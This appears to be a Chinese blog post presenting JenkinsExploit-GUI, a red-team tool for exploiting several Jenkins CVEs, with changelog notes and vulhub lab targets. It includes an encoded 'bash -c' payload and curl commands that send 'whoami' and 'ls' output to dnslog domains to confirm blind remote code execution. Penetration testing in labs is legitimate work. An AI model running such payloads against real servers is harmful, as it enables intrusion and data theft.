红队武器化开发:jenkins综合漏洞利用工具----JenkinsExploit-GUI

项目地址

https://github.com/TheBeastofwar/JenkinsExploit-GUI

v1.2版本

添加了dnslog的配置,使其能够自动化进行无回显RCE或SSRF验证


v1.3版本

主要测试在macOS上的运行情况

CVE-2015-8103/CVE-2016-0788/CVE-2016-0792

测试靶场
https://github.com/Medicean/VulApps/tree/master/j/jenkins/1
反弹shell

dnslog外带信息:

echo "curl \`whoami\`.vtiosw.dnslog.cn" | base64

Y3VybCBgd2hvYW1pYC52dGlvc3cuZG5zbG9nLmNuCg==

然后发送

bash -c {echo,Y3VybCBgd2hvYW1pYC52dGlvc3cuZG5zbG9nLmNuCg==}|{base64,-d}|{bash,-i}


较长命令dnslog外带信息,例如

curl \`ls\`.bw6oye.dnslog.cn

需要

curl \`ls|base64|sed s/=//g\`.bw6oye.dnslog.cn

只能得到一小部分

CVE-2017-1000353

测试靶场
https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2017-1000353
未复现成功...

CVE-2018-1000600

暂无靶场进行测试

CVE-2018-1000861

暂无靶场进行测试

CVE-2018-1999002

暂无靶场进行测试

CVE-2019-1003000

测试靶场
https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc


CVE-2019-1003005/CVE-2019-1003029

暂无靶场进行测试

CVE-2024-23897

测试靶场
https://github.com/vulhub/vulhub/blob/master/jenkins/CVE-2024-23897


参考文章

https://github.com/yhy0/ExpDemo-JavaFX
https://mp.weixin.qq.com/s/j5BHSbNZ76XbSZp6hFj9fw
https://cn-sec.com/archives/2264255.html
https://misakikata.github.io/2020/03/Jenkins漏洞集合复现/
https://chybeta.github.io/2018/08/07/Jenkins-任意文件读取漏洞复现与分析-【CVE-2018-1999002】/
https://yunjing.ichunqiu.com/cve/detail/1045?type=1&pay=1

posted @ 2024-02-01 10:28  BattleofZhongDinghe  阅读(537)  评论(0编辑  收藏  举报